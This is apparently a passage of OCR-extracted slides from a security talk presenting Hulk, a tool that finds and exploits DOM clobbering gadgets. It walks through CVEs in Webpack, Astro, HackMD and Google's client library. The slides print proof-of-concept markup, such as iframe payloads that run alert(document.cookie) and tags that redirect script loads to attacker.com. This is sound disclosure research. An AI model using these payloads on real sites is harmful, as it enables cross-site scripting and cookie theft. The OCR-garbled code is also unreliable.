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0x01 Introduction to DOM Clobbering



How the Story Begins: The DOM Clobbering Feature

Web Page

<img name="y" src="/hello">

DOM APIs Named Lookup on Window or DOM Tree

<script>
X, Y

<script>
document.querySelector('#x');
document.getElementById('x");

document.y
window.x, window.y

document.getElementsByTagName('div')[0];
</script>

document.evaluate('//*[@id="x"]"', document, ..)
</script>

0x01 Intro to DOM Clobbering



How the Story Begins: The DOM Clobbering Feature

Web Page

<img name="y" src="/hello"> .

DOM APIs Named Lookup on Window or DOM Tree

<script>
X, Y

<script>
document.querySelector('#x');
document.getElementById('x");

document.y
window.x, window.y

document.getElementsByTagName('div')[0];
</script>

document.evaluate('//*[@id="x"]"', document, ..)
</script>
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Code-reuse Attack on the Web: DOM Clobbering

Web Page . .
‘ @ Inject scriptless HTML elements to the web page

<a href="attacker.com" id="remote">test</a>

AN
- B

User Input Gone Wild in Modern Web Apps
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Code-reuse Attack on the Web: DOM Clobbering

‘ @ Inject scriptless HTML elements to the web page

<a href="attacker.com" id="remote">test</a> 4

JavaScript Code Snippets from the page

Dynamically loads <script>

additional JavaScript link = window.remote || "https://cdn.com"
files from the host link = link + "/js/hello.js"

script.src = 1link
</script>
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Code-reuse Attack on the Web: DOM Clobbering

‘ @ Inject scriptless HTML elements to the web page

<a href="attacker.com" id="remote">test</a> )

JavaScript Code Snippets from the page

Dynamically loads <script>

additional JavaScript link = MGEIRrT "https://cdn.com"
files from the host link = link + "/js/hello.js"
script.src = 1link

</script> Falls back to use default URL when

window.remote is undefined
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Code-reuse Attack on the Web: DOM Clobbering

Web Page

@
XY
0

@ s
O 0

@ Inject scriptless HTML elements to the web page

<a href="attacker.com" id="remote">test</a> \

@ Injected HTML elements collides named property lookups

JavaScript Code Snippets from the page
<script> undefined <a>
link = || "https://cdn.com"

link = link + "/js/hello.js"

script.src = 1link
</script>

0x01 Intro to DOM Clobbering
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Code-reuse Attack on the Web: DOM Clobbering

Web Page . .
‘ @ Inject scriptless HTML elements to the web page

<a href="attacker.com" id="remote">test</a> \

@ Injected HTML elements collides named property lookups

. avascript Code Snippets from the page
Type Coercion: j > A pas

<script>
link = window.remote || "https://cdn.com"
link = ISGUSEIRAFVIISGIRER // https://attacker.com/js/hello.js

<a href=llxll> + lI/jslI

=>
"https://X/js"

script.src = 1link
</script>
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Code-reuse Attack on the Web: DOM Clobbering

Web Page : :
‘ @ Inject scriptless HTML elements to the web page

<a href="attacker.com" id="remote">test</a> \

‘ . @ Injected HTML elements collides named property lookups

JavaScript Code Snippets from the page

<script>
link = window.remote || "https://cdn.com"

{ link = link + "/js/hello.js"

- RS sigored = link // https://attacker.com/js/hello.js

A P J J
</script>

| @ Payloads flow to the dangerous sink through gadgets

0x01 Intro to DOM Clobbering



0x02 From Clobbering to Exploitation



Clobbering Techniques

e Which HTML markups can clobber which JavaScript targets?

<a id=v>test</a> —_—

<form id="v"></form><form id="v"

Vv

V.X.Y

name="x"><input name="y"></form>

<iframe id="x"></iframe> —

<form id="x"><input id="y"/></form>

window.x

window.x.y

<iframe name="x" srcdoc="glt;iframe name=y srcdoc=&quot;&lt;iframe name=z

srcdoc=&amp;quot;&lt;iframe name=x srcdoc=&amp;amp;quot;&1t;iframe name=y

quot;&lt;iframe name=z srcdoc=&amp;amp;amp;amp;quot;&lt;iframe

name=x srcdoc=&amp;amp;amp;amp;amp;quot;&lt;iframe name=y

srcdoceta anp anpi ;s QO A1 S 2 d ment.X.V.Z.X\V.Z.X.V.Z

7 aMp; amp; amp; amp; amp; 4 X Ocu VAVA 'Y TV A ' XY TV AN ' K

href="a’'&gt;&1t;/a&gt;&amp;amp;amp;amp;amp;amp;quot;&gt;&1t;/iframe’gt;&amp;amp;amp;

amp;amp; quot;&gt;&1t;/iframe&gt;&amp;amp;amp;amp;quot;&gt;&1t;/iframe’gt;&amp;amp;am
;/iframe&gt;&amp;amp;quot;&gt;&lt;/iframe&gt;&amp;quot;&gt;&lt;/iframe

&gt;&quot;&gt;&1t;/iframe&gt;"></iframe>

0x02 From Clobbering to Exploitation
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Clobbering Techniques

e Which HTML markups can clobber which JavaScript targets?

o It's (DOM) Clobbering time, Khodayari et al. (S&P ‘23) uncovered 31,432
distinct clobbering markups across five different techniques!

Source: It's (DOM) Clobbering Time: Attack Techniques, Prevalence,
and Defenses by Khodayari et al. (S&P ‘23)

DOMC Payload Generator
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Clobbering Techniques

e Which HTML markups can clobber which JavaScript targets?

o It's (DOM) Clobbering time, Khodayari et al. (S&P ‘23) uncovered 31,432
distinct clobbering markups across five different techniques!

o But clobbering behavior is just the initial payload landing step :<

0x02 From Clobbering to Exploitation
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Clobbering Techniques

e Which HTML markups can clobber which JavaScript targets?

o It's (DOM) Clobbering time, Khodayari et al. (S&P ‘23) uncovered 31,432
distinct clobbering markups across five different techniques!

o But clobbering behavior is just the initial payload landing step :<
m Full exploitation need gadgets and exploits.

Can we automatically detect and exploit them in the wild? @

0x02 From Clobbering to Exploitation i



The Gap: From Clobbering to Exploitation

e Challenge One: Gadget Detection

o Client-side JavaScript favors dynamic behaviors and has widespread
use of aliased objects.

Q Clobberable Sources

>

Q Client-side Sinks

0x02 From Clobbering to Exploitation
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The Gap: From Clobbering to Exploitation

e Challenge Two: Exploit Generation

o DOM Clobbering requires HTML markups that satisfy DOM constraints
to lead attacker-controlled string to flow to the sinks

p Sources 4@ Sources

/ Uncaught TypeError! //
/
/ .
I/ A Xx.action[0] / X.action[0]
<div id=x></div> / <form name=x
O Sinks action=payload></form> Q Sinks

0x02 From Clobbering to Exploitation 1



Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

€ 5 C % hackmdio Bax O @&

® :
a ; ’ o
% My workspace / The DOMino Effect © © 21y @

n ~ B I 5§ H ¢ %9 = E B | 8B 8 — 0D
: 5 - CHANGED 9 DAYS AGO ©
<iframe name=x src="https://hackmd.io" frame e H
<iframe name=x src="https://hackmd.io" iframe

® a @ My workspace

© Untagged

© Untagged

eiHackMD

HTML Injection

https://github.com/hackmdio/codimd/blob/develop/public/js/render.js#L23

// allow ifram tag with some safe attributes

whitelList.iframe = ['allowfullscreen',
'referrerpolicy', 'src', 'width', 'height']

https://hackmd.io

Solutions Pricing About Learn Blog

Build together with Markdown

Real-time collaboration for (personal  documentation in Markdown
o lEHHHMHH"

HackMD ¢ © © Q {Product] Poduct roadmap G w2 v @ [l

OWNED THIS NOTE ) CHANGED A DAY AGO % 0 )
# [Product] Product roadmap
[Product] Product roadmap
:tinfo
ulb:This template is a product roadmap template '
that helps you finish the product roadmap

on | & Frances22 uct Description

i Quarterly Roadmap
dar: Quarterly Roadmap | 2 %

::1:success
Create your roadmap by the example pitches. ric
e . L plesh a a a2 e as

Goals produ
Concept Testing  Release
| | *#Qex | *xQ2xx Description  Ideation i

We use cookies to improve your experience
Accept all Accept necessary

Manage preferences

0x02 From Clobbering to Exploitation
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Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

DOM Clobbering Gadgets from Google Client API library

“O Versions and GitHub Sync

var e
var d

document.scripts || document.getElementsByTagName("script") || [];

(1, f=11;

f.push.apply(f, window.___jsl["us"] || [1); // f =
["https://apis.google.com/js/api.js"]

Loaded on websites that use
Google Maps, Google Drive,
YouTube, and many other Google
products.

for (var h ; e.length; ++h) {
for (var , J =0, j < f.length; ++j) {
.src.indexOf(f[j]) && d.push(k);

}

for (e = 0; e < d.length; ++e) {
d[e] .getAttribute("gapi_processed") ||
(d[e] .setAttribute("gapi_processed", 10),
) ? h = f.nodeType,
|| 4 == h ? f.nodeValue : f.textContent || "",

nsertfrom template

88 Dropbox 5] Import from

& Google Drive ™ Export to
) Gist

[ Clipboard Y, Download

}

@ Arweave
Df = function(a) { new Function("return (" + a + "\n)"))();};
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Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

Exploit HTML Markups DOM Clobbering Gadgets from Google Client API library

<iframe name=scripts || document.getElementsByTagName("script") || [1;
src=https://apis.google.com/js/api.js></iframe>

<iframe name=scripts

src=https://apis.google.com/js/api.js>alert(doc

ument.cookie)</iframe>

alert(document.cookie)

Df = function(a) { new Function("return (" + E + "\n)"))();};
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Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

Exploit HTML Markups DOM Clobbering Gadgets from Google Client API library

<iframe name=scripts
src=https://apis.google.com/js/api.js></iframe>
<iframe name=scripts

|| document.getElementsByTagName("script") || [1;

src=https://apis.google.com/js/api.js>alert(doc
ument.cookie)</iframe>

Both the HTML Injection and the DOM Clobbering gadget have been

fixed by HackMD.io and Google, respectively. P

alert(document.cookie)

Df = function(a) { new Function("return (" + E + "\n)"))();};

0x02 From Clobbering to Exploitation e



Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

Why TheThing! failed: DOM Clobbering Gadgets from Google Client API library
H H var e = document.scripts || document.getElementsByTagName("script") || [];
1. (Gadget Detection) Dynamic vaT g T docunent. ¢
features and complex conditional _ ,
. f.push.apply(f, window.___js1["us"] || [1); // f =
expressions ["https://apis. e, com/js/api.js"]
for (var h =
for (var k
k.src &&
}
}
for (e = 0; e < d.length; ++e) {
d[e] .getAttribute("gapi_processed") ||
(d[e] .setAttribute("gapi_processed", 10),
(f = d[e]l) ? h = f.nodeType,
: f.textContent || ""
%‘)E% [1] It's (dom) clobbering time: Attack techniques, . .. .
r\’{‘:‘\ @Q preva[ence’ and defenses’ Khodayari S’ function(a Falled tO trace the deﬁnltlon Of Varlable f

" Pellegrino G, (S&P '23) through ternary condition
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Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

Exploit HTML Markups DOM Clobbering Gadgets from Google Client API library

var e
var d

O [ S 2lge | | document.getElementsByTagName("script") || [1;
[1, f=11;

<iframe name=scripts
src=https://apis.google.com/js/api.js></iframe>
<iframe name=scripts

f.push.apply(f, window.___jsl["us"] || [1); // f =
["https://apis.google.com/js/api.js"]

src=https://apis.google.com/js/api.js>alert(docu
ment.cookie)</iframe>

for (var h =0; h < e.length; ++h) {
for (var k = @EFl, j = 0; j < f.length; ++j) {

@ Initial Clobbering @ X WYo == k.src.indexOf(f[j])EFICRIEULIE

® Data-flow Constraint #1 !

@ Data-flow Constraint #2 for (e = 0; e < d.length; ++e) {

@ Control-flow Constraint #3 O e e b,

g Contr;)ll-ﬂow Cons’graint #4 (f - oten) o h = fonodepe, N toxtconten TG
Data-flow Constarint #5

@ Flow to the Sink }
DI I (as GRS Bnew Function("return (" + a + "\n)")) () ;|

0x02 From Clobbering to Exploitation 2



Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

Why TheThing! failed: DOM Clobbering Gadgets from Google Client API library
1. (Gadget Detection) Dynamic X:; Z : c[!?cu$e2t.[§<fripts | | document.getElementsByTagName("scxipt") || [1];
features and complex conditional . ,
. f.push.apply(f, windpw.___jsl["us"] || [1); // T =
expressions ["https://apis.
. . f PR <img src=payload name=scripts>
2. (Exploit Generation) Generate o T g pay P

payload Only based on initial ) k.src && k.src.indexOf(f[j]) && d.push(k);
clobbering pattern }

for (e = 0; e < d.length; ++e) {
d[e] .getAttribute("gapi_processed") ||
(d[e] .setAttribute("gapi_processed", 10),
(f = d[e]l) ? h = f.nodeType,

J.%“):i% [1] It's (dom) clobbering time: Attack techniques,

2> prevalence, and defenses, Khodayari S, function(a) { new Function("return (" +
" Pellegrino G, (S&P 23)

0x02 From Clobbering to Exploitation A2



Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

Exploit HTML Markups DOM Clobbering Gadgets from Google Client API library

document.scripts || document.getElementsByTagName("script") || [];
(1, f=11;

var e
var d

<iframe name=scripts
src=https://apis.google.com/js/api.js></iframe>
<iframe name=scripts

_ . . . P f.push.apply(f, window.___jsl["us"] || [1); // f =
src=https://apis.google.com/js/api.js>alert(docu ["https://apis. google.com/js/api.js"]

ment.cookie)</iframe>

for (var h ; e.length; ++h) {
j =0, j < f.length; ++j) {
.src.indexOf(f[j]) && d.push(k);

for (var

Why DOM Invader failed:

1. Requires near-correct canary for (e = 0; e < d.length; ++e) {
H d[e] .getAttribute("gapi_processed") ||
payloads fOr teStIng (d[e] .setAttribute("gapi_processed", 10),

(f = d[e]l) ? h = f.nodeType,
h || 4 ==h ? f.nodeValue : f.textContent || "",

}

e omam = =\
eoneesaas g -

)
18t
¢ ¥
X 4

0x02 From Clobbering to Exploitation

Df = function(a) { new Function("return (" + a + "\n)"))();};

wunnee
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Invader
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Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering

Why DOM Invader failed: DOM Clobbering Gadgets from Google Client API library
1. Requires near-correct canary var e = c[l?fu$e2t.[?t;.ripts || document.getElementsByTagName("script") || []1;
payloads for testing f.push.apply (f, window.___jsl{"us"] || [1); // f =
["https://apis.google.com/js/api.js"]
2. DOM Clobbering payloads often for (var h = 0; h < e.length; ++h) {
break site functionality, making O Sre a8 @ o k. syc indexor(FL]1) && d. pushik)
bulk injection infeasible !

for (e = 0; e < d.length; ++e) {
d[e] .getAttribute("gapi_processed") ||
(d[e] .setAttribute("gapi_processed", 10),
(f = d[e]l) ? h = f.nodeType,
h || 4 ==h ? f.nodeValue : f.textContent || ""

}

eoneesaas g -
wonses § .

DOM ::2: =544}
Invader ’

PortSwigger Research

Df = function(a) { new Function("return (" + a + "
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0x03 The Design of Hulk



Overview

_---- Exploit Generation
-~ Gadget Detectlon N --- Gadget Verification g@

[ Taint Dependency Graph Construction ]
' taint
traces

—_—

&

’

[ Code Instrumentation ]

L)

instrumented JS & HTML

* taint dependency graph

[ Exploit Injection & Replay J |

html
markups

[ DOM Constraints Modeling ]

expressions
with taint

exploit
html
markups

taint
traces

dependency
graph
with constraints

[ Dynamic Taint Analysis J

I
1
1
1
1
1
1
1
1
1
1
1
1
1

oin 1

condition i
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
\

1
I
]
I
I
I
I
I
1
I
I
I
I
|
I
I
I
I
]
I
I
I
]
I
I
I
I
I
1
I
I
1

[ Constraints Merging & Solving J
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Overview

. Gadget Detection via Dynamic Taint Analysis

&

e Track taint flows of website-defined values from
Emint DOM clobberable sources to sinks

traces

—

[ Code Instrumentation ]

!
|
I
1
|
|
I
I
l E %
|
I
I
I
|
I
I
I
|
I
1
I
|
\

document.links, document.anchozxs

condition

expressions window.url ? window.url : "default"

with taint

instrumented JS & HTML

window.url || "default"

[ Dynamic Taint Analysis J . . .
Inject value only when there is no website-defined

value available

~
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Gadget Detection via Dynamic Taint Analysis

(@)

(@)

(@)

[1]
[2]

Taint Sources

window.v and v: Named Access on Window [1]

document.v: DOM Tree Accessors [2]

Taint Sinks

Code Execution
Request Forgery
Open Redirection
Cookie Manipulation

Storage Manipulation

® Conseq. @ Threat Sink Pattern

Code Loading arbitrary scripts from | script.src = T
Execution attacker-controlled domain import (T)

Executing code dynamically | eval(T)

constructed from attacker- | new Function(T)

controlled string setTimeout (T
setInterval (
script.inner

Request Hijacking Websocket Connec- | new WebSocket (T)
Forgery tions

Manipulating Asynchronous | fetch(T)
Requests as the first-party XMLHttpRequest .open (T)
xhr.send (T)

Open Redirecting the window to | window.open (T)
Redirection other domains through top- | window.location=T
level navigation location.href=T
location.replace (T)
location.assign(T)

Cookie Injecting the arbitrary value to | document.cookie=T
Manipulation | user cookie

Storage Injecting the arbitrary value to localStorage.setItem(T)
Manipulation | user storage sessionStorage.setItem(T)

Letter T in the Sink Pattern column refers to a tainted value.

0x03 The Design of Hulk

32


https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object
https://html.spec.whatwg.org/multipage/dom.html#dom-tree-accessors

Gadget Detection via Dynamic Taint Analysis

e Taint Representation
o  Object Types (including Object, Array, Map, Function, etc.)
o  Primitive Types (including String, Number, Boolean, undefined, etc.)
e Taint Propagation
o JSoperations
m  Unary Ops, Binary Ops, getField Ops, and putField Ops.
o JS Built-ins
m String, Array, RegExp, JSON, Object, Reflect, Boolean, Number, and Object Built-ins.
o  Browser Built-ins
m  URL, TrustedTypePolicy, TextEncoder, TextDecoder, and DOM APIs.
o  Stored Cross-boundary Data Flows

m Values propagate through DOM elements and storages.

0x03 The Design of Hulk
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Gadget Detection via Dynamic Taint Analysis @)

e Code-rewriting based approach vs.

HULK

Instrumented taint-aware browser e @

Jalangi2 {Qé.
Runtime

o Support tracking across all
JavaScript value types instrumented
JS & HTML

o  Support tracking across different
browsers Instrutaencar

0x03 The Design of Hulk
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Taint Dependency Graph [ documene | [ scripu |

var e = document.scripts g .
document.getElementsByTagName("script") ;

f.push.apply(f, window.___js1["us"] || [1);
for (var h = 0; h < e.length; ++h) {
var k = e[h]; @
for (j = 0; j < f.length; ++j) {
k.src && 0 == k.src.indexOf(f[j]) && d.push(k);
}

} getField
ret

for (e = 0; e < d.length; ++e) {
(f = d[e]l) ? h = f.nodeType, [ (G ] [ “return (” ]
f =3 ==h||4 == h ? f.nodeValue
: f.textContent |@="+ — — ~

. f = void 0,
(f Df(f)) && b.push(f));
}

Df = function(a) {
if (a && !/Ms+$/.test(a)) {
try { ____—’
b = (new Fu ction("return.'(_"_+_é +"\n)iet)—-—=———"- -
} catch (c) {

} InvokeFun
} (constructor)
-

-
-
N e ———— T

0x03 The Design of Hulk




Overview

.---- Exploit Generation ﬁ . . .
D via Concolic Execution

Taint Dependency Graph Construction

\ J We propose Symbolic DOM to define and solve
Em‘m * it dependency graph DOM elements-related constraints.

traces

—

DOM Constraints Modeli explot ]
SisiEnn lecons he e Based on the concrete execution trace, Hulk

condition markups
expressions

with @in e ) @ models and solves the DOM constraints on the
E—— dependency

i cang E200 e @t @ omo Symbolic DOM and generates HTML markups as
exploit.

\

0x03 The Design of Hulk




Exploit Generation via Concolic Execution

document

STEP 1: Exploitation Modeling

e Four Stages .
Window/Document-to-DOM (initial clobbering) ® ~~ T _--mm T
DOM-to-DOM (advanced clobbering) e ---—"
DOM-to-String (string loading) e--------—--=--=-=-="----
String-to-String (string-only propagation) e- - < -

- : Tainted Value

“scripts”

getField

getField

“textContent”

getField

“return (”

BinaryOp

Function

- : Concrete Value
- : Operation Node

InvokeFun
(constructor)

0x03 The Design of Hulk
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Exploit Generation via Concolic Execution

STEP 1: Exploitation Modeling

Stage One: Window/Document-to-DOM
o Lookups happens directly on window or HOCURENt

o Operations: getField, varRef

# on window

window. X
<a id=x> (getField)
<svg id=x></svg>
<customtag id=x>
<form id=x><form id=x> X

(varRef)

. X
(getField)

<embed name=x></embed>
<form name=x></form>
<object id=x></object>
<img name=x><img name=x>

document

getField

“scripts”

38



Exploit Generation via Concolic Execution

STEP 1: Exploitation Modeling

getField

Stage Two: DOM-to-DOM
o The base object can be array-like, BBJECElKE, or tree-like

o Operations: getField (element/property access), element navigation
<img name=x> <img name=x>

$1[number] <i =x>
(CRAEIE)
# Nested Structure (OBjECTEIIKE)

<iframe name=x srcdoc="<div id=p>"> <!- Nested Window Proxy -> <div id=p>
<form><input name=p></form> <!-- Parent-child Form --> $1.st;(p) . P
(getField) <input name=p>

# HTMLCollections (array-like)

<input form=x name=p><form id=x> <!-- Input-Form -->

# HTML Element (tree-like)
<customtag><customtag><customtag>

previousSibling, firstChild, parentElement

39



Exploit Generation via Concolic Execution

“textContent”

STEP 1: Exploitation Modeling getField

Stage Three: DOM-to-String
o Operations: function call, getField, binary +

4
# function call

toString
<a href="https:// le. "> . . :
<Zivr§d="x" pz" ae;225"3<53?v> getAttribute/getAttributeNsS <img name=x>
P="pay getAttributenNames

<a id="x" href="alert()"></a> X.href "alexrt()"

<div id="x" data-user="alice"></div> x.dataset.user "alice"

# binary +

<a href="https://example.com"> + "/test" . . "https://example.com/test"
JavaScript coercion

<area href="https://example.com"> + "/test" "https://example.com/test"




Exploit Generation via Concolic Execution

STEP 1: Exploitation Modeling

Stage Four: String-to-String

o  Pure string operations in this stage
3

# String operations

o  Possibly multiple operations

a+b
strl + str2
str.slice

str.replace
str.tolLowerCase()

“return (”

BinaryOp

0x03 The Design of Hulk
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Exploit Generation via Concolic Execution

e We propose Symbolic DOM, to define the DOM constraints. i Ot
€IMollection ::= getdiblings((lermyoge
. o . . . | getChildren((Termpoge))
o Describe a set of DOM elements with similar looking e ) Tt ()

. e _[ DOﬁrﬁimentTagName

o Co nstral nt Syntax: { EOI\/E:EImentAttribmeName

onstString
Termip ::= (Varin)

o Four primitives (i.e., int, bool, string, and node) and collection | et}

Termpool ::= (Varbool)
(an array of nodes). e
% ;WSC’:[M ( (('I('emlmde ) ,)('I('ermn(,de ) )))
N hasSibling ((Termpode ), (Termpode
o node represents a DOM element which has a tag name | hasTagName( (et (Ttmg)
| hasAttribute((Termpode ), (Termstring ), (TerMstring ) )
. . | hasSrcDoc((Termpogde ), (Termpode ) )
(hasTagName) and several attributes (hasAttribute). | Root(Temtaie)
include(( 1€rMco]lection ), ( 1€TMpode
. . . . . N [ forAll ( (Temcollection ) ) (Exprbool ) )
o A node may have siblings (hasSibling) and children (hasChild). i e
) . . | (Termgyring) = (Termgying)
o Avalid Symbolic DOM must have one root node (isRoot). Tl
| (BxPryor) V (EXPryool)
| (Termin ) {<, <, =, 2, >}(Termin,)
Assertion ::= assert(Expry,)

Figure 2: Constraint Syntax for Symbolic DOM

0x03 The Design of Hulk -



Exploit Generation via Concolic Execution

See our paper for more details!

STEP 2: Constraint Modeling

VU Stages ©@ Obj. £ Conditions
. N g;lt:,a; . Win-to-DOM The base object is the window object;
(] erng the property name ( jable name for o 3
e <Operation type, Stage goal> defines constraints v
: (hasAttribute(R, “id”P))) V ((hasTagNa

(isRoot(R1)) A (forAll(add((hasChildr
((hasTagName(R, TNS2)) A (hasAttribute

E.g., To achieve Document-to-DOM through document.P, o [ n semmis an 1D et

P is the property (isRoot(R1)) A (hasTagName(R1, "
RUis the return value;
(isRoot(R1)) A (length(getSiblings(R1))

the DOM node must satisfy certain constraints, one of (ot ) it

((hasTagName(R, TNS2)) A (hasAttribute

Advanced DOM-t 0-DOM 4 RIis the base object; @ (isroot(R1)) A (hasChild(R1,R2)) A (

. .
W h I C h I S : Clobbering P is the property name; (R2,"“name”, P))

R2is the return value; @ (isRoot(R1)) A (hasChild(R1,R2)) A (
2, )

@ (isroor(R1))

((hasAttribute(

isRoot(R1) A hasTagName (R1, “object”) A hasAttribute(R1, “id”, P)

(when P="scripts", concrete to <object id=scripts></object>)

(isRoot(R1)) A
*This applies to
Similar rules a

R is the base object;
R2is the return value;

0x03 The Design of Hulk i



Exploit Generation via Concolic Execution

STEP 3: Attaching Constraints

e Each tainted node should have two conjunctive sets of

C1: (declare Node R1) A (R1 =$1) A (P = getField

constraints: rserips”) 1 @V @ v @ v )

o The return value of its precedent operation :
C2: (declare Node R1) A (R1 = $1) A (is-
Root(R1)) A (length(getSiblings(R1)) > 1)

o An argument of the subsequent opertaion

0x03 The Design of Hulk =



Exploit Generation via Concolic Execution

STEP 4: Merging and Solving Constraints

C1: (declare Node R1) A (R1 = $1) A (P =
(] "Start Small" "scripts") A (@ \% @ \ @ \ @)
C2: (declare Node R1) A (R1 = $1) A (is-

o Unfold each local constraints (e.g., C1) into disjunctive kT e DA

normal forms (DN FS). C3: (declare Node R1, R2) A (R1 = $1) A (R2

= $2) A hasSibling(R1,R2)
A (P = "textContent") A @

o  Merge formulas across different DNFs if there is a literal
bound to the same tainted value (e.g., R1in C1and R1in C2)
and remove the conflicts.

e "Concrete to HTML"

o Generate HTML markups based on the final constraints.

0x03 The Design of Hulk
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Overview

o Canary-based Verification

- Gadget Verification 3@
? ? e Inject the generated exploit.

— E [ Exploit Injection & Replay ] |

e Replay the web page.

exploit \ ’
e e Monitor whether the vulnerability is triggered.

markups

exploit  4oine
htm traces
markups

0x03 The Design of Hulk
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Large-scale Evaluation of Hulk

e Large-scale evaluation
o 497 zero-day exploitable gadgets among Tranco top 5,000 websites

e Case studies

o Modern web bundlers (Webpack ', Rspack ', Vite , tsup , Polyfills)

o Core functional libraries (Prism ', Math)Jax 2&3, plotly.js, pagefind , doomcaptcha)
o Third-party services (Plausible Analytics, Google Client API Library)

o Web application frameworks (Astro ")
Dataset available:

: CVE Assigned DOMC Gadgets Collection [

0x04 DOM Clobbering Gadgets in the Wild 8



CVE-2024-43788!" : Webpack e webpack

e An average of 1.27 Webpack bundles per site among the Tranco Top 100K websites!?.

e This vulnerability can lead to cross-site scripting (XSS) on websites that uses

Webpack as the bundler.

DOM Clobbering
Gadget

"o compressed P o
website code mq// ’i\ HTML Injection
I/ ¢
m Webpack runti
code

production code

Cross-site
Scripting

website
source code

b

[1] https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
[2] https://dl.acm.org/doi/10.1145/3576915.3623140

0x04 DOM Clobbering Gadgets in the Wild


https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
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const path = require('path');
module.exports = {

CVE-2024-43788"" : Webpack

output: {
AutoPublicPathRuntimeModule path: path.resolve(__dirname,
'dist'),
AR /* webpack/runtime/publicPath */ publicPath: "auto", // Or leave

JEEE T (() => { this field not set

JELEIETY var scriptUrl; g
target: 'web',

TAREAALY if (__webpack_require__.g.importScripts) scrij .
}i webpack.config.js

[FFEFETY var document = __webpack_require__.g.document
[FFEFETY if (!scriptUrl && document) {

[FFEFETY if (document.currentScript)

[FFRFFEE scriptUrl = document.currentScript.sxc;

/******/ }

[FEFEFK scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[A\/]1+$/, "/");
[FFEFETY __webpack_require__.p = scriptUrl;

/******/ })(),

0x04 DOM Clobbering Gadgets in the Wild




CVE-2024-43788!" : Webpack

AutoPublicPathRuntimeModule <img name="currentScript"

src="https://attacker.controlled.sexver/"></img>
[FFRFFEE /* webpack/runtime/publicPath */

/******/ (() => {

[FFEFETY var scriptUrl;

[FFEFETY if (__webpack_require__.g.importScripts) scriptUrl = __ webpack_require__.g.location + "";
[FFEFETY var document = __webpack_require__.g.document;

[FFEFETY if (!scriptUrl && document) {

[FFFFEE 1if (document.currentScript)

[FFFEE 2 IscriptUrl = document.currentScript.src;|

/******/ }

[FEFEFR scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[A\/]1+$/, "/");
[FFRFFEE 3 [_webpack_require__.p = scriptUr];]
/******/ })();

0x04 DOM Clobbering Gadgets in the Wild




CVE-2024-47885: Astro

e Awidely-adopted client-server web framework
Astro >=3.0.0, <=4.16.0 is vulnerable to DOM clobbering that can lead to cross-site
scripting (XSS).

e GitHub advisory [1].
CVE record [2].

l_'\ astro = Documentation Blog  Resources v Communit y v Enterprise v (w)

The web framework for
content-driven websites

Astro powers the world's fastest marketing
sites, blogs, e-commerce websites, and more.

Used by the largest companies around the world:

Google %g VISA Microsoft PoRsc—HE  OpenAl —Ir:1etlifv— N NordVPN'

https://github.com/withastro/astro/security/advisories/GHSA-m8
5w-3h95-hcf9 il covorinne SENBCNEWS  GifiSian _Re“mcweumw  Proton

[2] https://nvd.nist.gov/vuln/detail/CVE-2024-47885

0x04 DOM Clobeering Gadgets in the Wild e


https://github.com/withastro/astro/security/advisories/GHSA-m85w-3h95-hcf9
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/)
CVE-2024_47885: AStro as.;ro <iframe name="scripts">alert(1l)</iframe>

<iframe name="scripts">alert(1l)</iframe>
<ViewTransitions />

function runScripts() {

A\ An HTML Collection

let wait = Promise.resolve();
for (const script of Array.from[document.scripts]) {

if (script.dataset.astroExec === '') continue;

const type = script.getAttribute('type');

if (type && type !== 'module' && type !== 'text/javascript') continue;
const newScript = document.createElement('script');
newScript.innerHTML = script.innerHTML;

script.replaceWith(newScript);

}

return wait;
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/)
CVE-2024_47885: AStro as.;ro <iframe name="scripts">alert(1l)</iframe>

<iframe name="scripts">alert(1l)</iframe>
<ViewTransitions />

function runScripts() {

let wait = Promise.resolve(); A\ An HTML Collection

for (const script of [document.scripts]) {
if (script.dataset.astroExec === '') continue;

const type = script.getAttribute('type');

if (type && type !== 'module' && type !== 'text/javascript') continue;
const newScript = document.createElement('script');
newScript.innerHTML = script.innerHTML;

script.replaceWith(newScript);

}

return wait;
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/)
CVE-2024_47885: AStro as.;ro <iframe name="scripts">alert(1l)</iframe>

<iframe name="scripts">alert(1l)</iframe>
<ViewTransitions />

function runScripts() {
let wait = Promise.resolve();
for (const script of Array.from(document.scripts)) {
if (script.dataset.astroExec === '') continue; ]1St condition check

const type = script.getAttribute('type');
if (type && type !== 'module' && type !== 'text/javascript') continue; 2nd condition check

const newScript = document.createElement('script');
newScript.innerHTML = script.innerHTML;
script.replaceWith(newScript);

}

return wait;
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/)
CVE-2024_47885: AStro as':ro <iframe name="scripts">alert(1l)</iframe>

<iframe name="scripts">alert(1l)</iframe>
<ViewTransitions />

function runScripts() { & 1st condition bypass: undefined != "
let wait = Promise.resolve(); ’_,-—-0

for (const script of Array.from(document.scriptsLL»{"

if (script.dataset.astroExec === "Q—contiﬁae;]

const type = script.getAttribute('type');

if (tygg_§& type !== 'module’' && type !== 'text/javascript') continue;

const newScript'E~dogyment.createElement('script');

newScript.innerHTML = Ecript.innerHTML;

script.replaceWith(newScriﬁEﬁ;

& 2nd condition bypass: type == undefined

~
return wait; ~ o
\\~~
--*
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CVE-2024_47885: AStro A <iframe name="scripts">alert(1l)</iframe>

astro
<iframe name="scripts">alert(1l)</iframe>
<ViewTransitions />

function runScripts() {
let wait = Promise.resolve();
for (const script of Array.from(document.scripts)) {
if (script.dataset.astroExec === '') continue;
const type = script.getAttribute('type');
if (type && type !== 'module' && type !== 'text/javascript') continue;
[?onst newScript = document.createElement('script');] N

14 Vs
BOOM/BArbitrary code execution!
v )

newScript.innerHTML = script.innerHTML;

script.replaceWith(newScript);

}

return wait;
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CVE-2024-53387: UMeditor

e Previously maintained by du
DOM Clobbering gadget in UMeditor library version 1.2.2.

e The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in
